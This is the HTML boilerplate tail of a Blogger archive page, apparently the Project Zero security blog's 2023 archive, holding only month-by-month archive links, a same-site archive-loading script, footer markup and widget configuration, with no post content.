href='https://googleprojectzero.blogspot.com/2020/11/'> November </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/10/'> October </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/09/'> September </a> <span class='post-count' dir='ltr'>(4)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/08/'> August </a> <span class='post-count' dir='ltr'>(5)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/07/'> July </a> <span class='post-count' dir='ltr'>(8)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/06/'> June </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/04/'> April </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/02/'> February </a> <span class='post-count' dir='ltr'>(4)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2020/01/'> January </a> <span class='post-count' dir='ltr'>(5)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/'> 2019 </a> <span class='post-count' dir='ltr'>(27)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/12/'> December </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/11/'> November </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/10/'> October </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/09/'> September </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/08/'> August </a> <span class='post-count' dir='ltr'>(11)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/05/'> May </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/04/'> April </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/03/'> March </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/02/'> February </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2019/01/'> January </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/'> 2018 </a> <span class='post-count' dir='ltr'>(22)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/12/'> December </a> <span class='post-count' dir='ltr'>(7)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/11/'> November </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/10/'> October </a> <span class='post-count' dir='ltr'>(4)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/09/'> September </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/08/'> August </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/07/'> July </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/06/'> June </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/05/'> May </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/04/'> April </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2018/01/'> January </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/'> 2017 </a> <span class='post-count' dir='ltr'>(19)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/12/'> December </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/10/'> October </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/09/'> September </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/08/'> August </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/07/'> July </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/05/'> May </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/04/'> April </a> <span class='post-count' dir='ltr'>(6)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/03/'> March </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2017/02/'> February </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/'> 2016 </a> <span class='post-count' dir='ltr'>(17)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/12/'> December </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/11/'> November </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/10/'> October </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/09/'> September </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/08/'> August </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/07/'> July </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/06/'> June </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/03/'> March </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/02/'> February </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2016/01/'> January </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/'> 2015 </a> <span class='post-count' dir='ltr'>(33)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/12/'> December </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/11/'> November </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/10/'> October </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/09/'> September </a> <span class='post-count' dir='ltr'>(4)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/08/'> August </a> <span class='post-count' dir='ltr'>(6)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/07/'> July </a> <span class='post-count' dir='ltr'>(5)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/06/'> June </a> <span class='post-count' dir='ltr'>(4)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/05/'> May </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/04/'> April </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/03/'> March </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/02/'> February </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2015/01/'> January </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/'> 2014 </a> <span class='post-count' dir='ltr'>(11)</span> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/12/'> December </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/11/'> November </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/10/'> October </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/09/'> September </a> <span class='post-count' dir='ltr'>(1)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/08/'> August </a> <span class='post-count' dir='ltr'>(2)</span> </li> </ul> <ul class='hierarchy'> <li class='archivedate collapsed'> <a class='toggle' href='javascript:void(0)'> <span class='zippy'> ►  </span> </a> <a class='post-count-link' href='https://googleprojectzero.blogspot.com/2014/07/'> July </a> <span class='post-count' dir='ltr'>(3)</span> </li> </ul> </li> </ul> </div> </div> <script type='text/javascript'> //<![CDATA[ (function(){ let archive_list = document.getElementById('ArchiveList'); if (archive_list == null) return; let cur_year = archive_list.querySelector('.post-count-link').innerText.trim() - 0; let last_year = 2014; let elements = []; const MONTHS = ',Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec'.split(','); let parent = document.getElementById('ArchiveList'); while (parent.childNodes.length) parent.removeChild(parent.childNodes[0]); function fetch_next_year() { let url = 'https://googleprojectzero.blogspot.com/?action=getTitles&widgetId=BlogArchive1&widgetType=BlogArchive&responseType=js&path=https%3A%2F%2Fgoogleprojectzero.blogspot.com%2F'+cur_year; fetch(url).then(resp => { if (!resp.ok) { console.log('http error'); return; } resp.text().then(text => { let scope = { _WidgetManager: { _HandleControllerResult: (name, method, results) => { elements.push(document.createElement('hr')); let year_header = document.createElement('div'); year_header.appendChild(document.createTextNode(cur_year)); year_header.style.fontSize = 'large'; elements.push(year_header); let list = document.createElement('ul'); elements.push(list); for (let obj of results.posts) { let link_parts = obj.url.split('/'); let year = link_parts[3]; let month = link_parts[4]; let el = document.createElement(/*'div'*/'li'); el.style.listStyleType = 'square'; el.style.listStylePosition = 'inside'; let link = document.createElement('a'); el.appendChild(link); link.appendChild(document.createTextNode(obj.title)); link.href = obj.url; let date_trailer = document.createElement('span'); el.appendChild(date_trailer); //date_trailer.appendChild(document.createTextNode(' ('+year+'-'+month+')')); date_trailer.appendChild(document.createTextNode(' ('+MONTHS[parseInt(month, 10)]+')')); //date_trailer.style.textAlign = 'right'; //elements.push(el); list.appendChild(el); } } } }; with (scope) { eval(text); } if (cur_year == last_year) { finish(); } else { cur_year--; fetch_next_year(); } }); }); } fetch_next_year(); function finish() { for (let obj of elements) { parent.appendChild(obj); } console.log(elements); } })(); //]]> </script> <div class='clear'></div> </div> </div></div> <table border='0' cellpadding='0' cellspacing='0' class='section-columns columns-2'> <tbody> <tr> <td class='first columns-cell'> <div class='sidebar no-items section' id='sidebar-right-2-1'></div> </td> <td class='columns-cell'> <div class='sidebar no-items section' id='sidebar-right-2-2'></div> </td> </tr> </tbody> </table> <div class='sidebar no-items section' id='sidebar-right-3'></div> </aside> </div> </div> </div> <div style='clear: both'></div> <!-- columns --> </div> <!-- main --> </div> </div> <div class='main-cap-bottom cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> <footer> <div class='footer-outer'> <div class='footer-cap-top cap-top'> <div class='cap-left'></div> <div class='cap-right'></div> </div> <div class='fauxborder-left footer-fauxborder-left'> <div class='fauxborder-right footer-fauxborder-right'></div> <div class='region-inner footer-inner'> <div class='foot no-items section' id='footer-1'></div> <table border='0' cellpadding='0' cellspacing='0' class='section-columns columns-2'> <tbody> <tr> <td class='first columns-cell'> <div class='foot no-items section' id='footer-2-1'></div> </td> <td class='columns-cell'> <div class='foot no-items section' id='footer-2-2'></div> </td> </tr> </tbody> </table> <!-- outside of the include in order to lock Attribution widget --> <div class='foot section' id='footer-3' name='Footer'><div class='widget Attribution' data-version='1' id='Attribution1'> <div class='widget-content' style='text-align: center;'> Powered by <a href='https://www.blogger.com' target='_blank'>Blogger</a>. </div> <div class='clear'></div> </div></div> </div> </div> <div class='footer-cap-bottom cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> </footer> <!-- content --> </div> </div> <div class='content-cap-bottom cap-bottom'> <div class='cap-left'></div> <div class='cap-right'></div> </div> </div> </div> <script type='text/javascript'> window.setTimeout(function() { document.body.className = document.body.className.replace('loading', ''); }, 10); </script> <script type="text/javascript" src="https://www.blogger.com/static/v1/widgets/984859869-widgets.js"></script> <script type='text/javascript'> window['__wavt'] = 'AOuZoY611Xz-1Cqge_tIIe2Zg_BNKk1Cog:1732537286626';_WidgetManager._Init('//www.blogger.com/rearrange?blogID\x3d4838136820032157985','//googleprojectzero.blogspot.com/2023/','4838136820032157985'); _WidgetManager._SetDataContext([{'name': 'blog', 'data': {'blogId': '4838136820032157985', 'title': 'Project Zero', 'url': 'https://googleprojectzero.blogspot.com/2023/', 'canonicalUrl': 'https://googleprojectzero.blogspot.com/2023/', 'homepageUrl': 'https://googleprojectzero.blogspot.com/', 'searchUrl': 'https://googleprojectzero.blogspot.com/search', 'canonicalHomepageUrl': 'https://googleprojectzero.blogspot.com/', 'blogspotFaviconUrl': 'https://googleprojectzero.blogspot.com/favicon.ico', 'bloggerUrl': 'https://www.blogger.com', 'hasCustomDomain': false, 'httpsEnabled': true, 'enabledCommentProfileImages': true, 'gPlusViewType': 'FILTERED_POSTMOD', 'adultContent': false, 'analyticsAccountNumber': 'UA-240546891-1', 'encoding': 'UTF-8', 'locale': 'en', 'localeUnderscoreDelimited': 'en', 'languageDirection': 'ltr', 'isPrivate': false, 'isMobile': false, 'isMobileRequest': false, 'mobileClass': '', 'isPrivateBlog': false, 'isDynamicViewsAvailable': true, 'feedLinks': '\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22Project Zero - Atom\x22 href\x3d\x22https://googleprojectzero.blogspot.com/feeds/posts/default\x22 /\x3e\n\x3clink rel\x3d\x22alternate\x22 type\x3d\x22application/rss+xml\x22 title\x3d\x22Project Zero - RSS\x22 href\x3d\x22https://googleprojectzero.blogspot.com/feeds/posts/default?alt\x3drss\x22 /\x3e\n\x3clink rel\x3d\x22service.post\x22 type\x3d\x22application/atom+xml\x22 title\x3d\x22Project Zero - Atom\x22 href\x3d\x22https://www.blogger.com/feeds/4838136820032157985/posts/default\x22 /\x3e\n', 'meTag': '', 'adsenseHostId': 'ca-host-pub-1556223355139109', 'adsenseHasAds': false, 'adsenseAutoAds': false, 'boqCommentIframeForm': true, 'loginRedirectParam': '', 'view': '', 'dynamicViewsCommentsSrc': '//www.blogblog.com/dynamicviews/4224c15c4e7c9321/js/comments.js', 'dynamicViewsScriptSrc': '//www.blogblog.com/dynamicviews/da8f33dd880cc4f1', 'plusOneApiSrc': 'https://apis.google.com/js/platform.js', 'disableGComments': true, 'interstitialAccepted': false, 'sharing': {'platforms': [{'name': 'Get link', 'key': 'link', 'shareMessage': 'Get link', 'target': ''}, {'name': 'Facebook', 'key': 'facebook', 'shareMessage': 'Share to Facebook', 'target': 'facebook'}, {'name': 'BlogThis!', 'key': 'blogThis', 'shareMessage': 'BlogThis!', 'target': 'blog'}, {'name': 'X', 'key': 'twitter', 'shareMessage': 'Share to X', 'target': 'twitter'}, {'name': 'Pinterest', 'key': 'pinterest', 'shareMessage': 'Share to Pinterest', 'target': 'pinterest'}, {'name': 'Email', 'key': 'email', 'shareMessage': 'Email', 'target': 'email'}], 'disableGooglePlus': true, 'googlePlusShareButtonWidth': 0, 'googlePlusBootstrap': '\x3cscript type\x3d\x22text/javascript\x22\x3ewindow.___gcfg \x3d {\x27lang\x27: \x27en\x27};\x3c/script\x3e'}, 'hasCustomJumpLinkMessage': false, 'jumpLinkMessage': 'Read more', 'pageType': 'archive', 'pageName': '2023', 'pageTitle': 'Project Zero: 2023'}}, {'name': 'features', 'data': {}}, {'name': 'messages', 'data': {'edit': 'Edit', 'linkCopiedToClipboard': 'Link copied to clipboard!', 'ok': 'Ok', 'postLink': 'Post Link'}}, {'name': 'template', 'data': {'name': 'custom', 'localizedName': 'Custom', 'isResponsive': false, 'isAlternateRendering': false, 'isCustom': true}}, {'name': 'view', 'data': {'classic': {'name': 'classic', 'url': '?view\x3dclassic'}, 'flipcard': {'name': 'flipcard', 'url': '?view\x3dflipcard'}, 'magazine': {'name': 'magazine', 'url': '?view\x3dmagazine'}, 'mosaic': {'name': 'mosaic', 'url': '?view\x3dmosaic'}, 'sidebar': {'name': 'sidebar', 'url': '?view\x3dsidebar'}, 'snapshot': {'name': 'snapshot', 'url': '?view\x3dsnapshot'}, 'timeslide': {'name': 'timeslide', 'url': '?view\x3dtimeslide'}, 'isMobile': false, 'title': 'Project Zero', 'description': 'News and updates from the Project Zero team at Google', 'url': 'https://googleprojectzero.blogspot.com/2023/', 'type': 'feed', 'isSingleItem': false, 'isMultipleItems': true, 'isError': false, 'isPage': false, 'isPost': false, 'isHomepage': false, 'isArchive': true, 'isLabelSearch': false, 'archive': {'year': 2023, 'rangeMessage': 'Showing posts from 2023'}}}]); _WidgetManager._RegisterWidget('_NavbarView', new _WidgetInfo('Navbar1', 'navbar', document.getElementById('Navbar1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_HeaderView', new _WidgetInfo('Header1', 'header', document.getElementById('Header1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogView', new _WidgetInfo('Blog1', 'main', document.getElementById('Blog1'), {'cmtInteractionsEnabled': false, 'lightboxEnabled': true, 'lightboxModuleUrl': 'https://www.blogger.com/static/v1/jsbin/2646514562-lbx.js', 'lightboxCssUrl': 'https://www.blogger.com/static/v1/v-css/1964470060-lightbox_bundle.css'}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogSearchView', new _WidgetInfo('BlogSearch1', 'sidebar-right-1', document.getElementById('BlogSearch1'), {}, 'displayModeFull')); _WidgetManager._RegisterWidget('_PageListView', new _WidgetInfo('PageList1', 'sidebar-right-1', document.getElementById('PageList1'), {'title': 'Pages', 'links': [{'isCurrentPage': false, 'href': 'https://googleprojectzero.blogspot.com/p/about-project-zero.html', 'id': '4384467920505278144', 'title': 'About Project Zero'}, {'isCurrentPage': false, 'href': 'https://googleprojectzero.blogspot.com/p/working-at-project-zero.html', 'id': '2459334498880008057', 'title': 'Working at Project Zero'}, {'isCurrentPage': false, 'href': 'https://googleprojectzero.blogspot.com/p/0day.html', 'id': '3414239791814532209', 'title': '0day \x22In the Wild\x22'}, {'isCurrentPage': false, 'href': 'https://googleprojectzero.github.io/0days-in-the-wild/rca.html', 'title': '0day Exploit Root Cause Analyses'}, {'isCurrentPage': false, 'href': 'https://googleprojectzero.blogspot.com/p/vulnerability-disclosure-faq.html', 'id': '2935252455704572784', 'title': 'Vulnerability Disclosure FAQ'}], 'mobile': false, 'showPlaceholder': true, 'hasCurrentPage': false}, 'displayModeFull')); _WidgetManager._RegisterWidget('_BlogArchiveView', new _WidgetInfo('BlogArchive1', 'sidebar-right-1', document.getElementById('BlogArchive1'), {'languageDirection': 'ltr', 'loadingMessage': 'Loading\x26hellip;'}, 'displayModeFull')); _WidgetManager._RegisterWidget('_AttributionView', new _WidgetInfo('Attribution1', 'footer-3', document.getElementById('Attribution1'), {}, 'displayModeFull')); </script> </body> </html>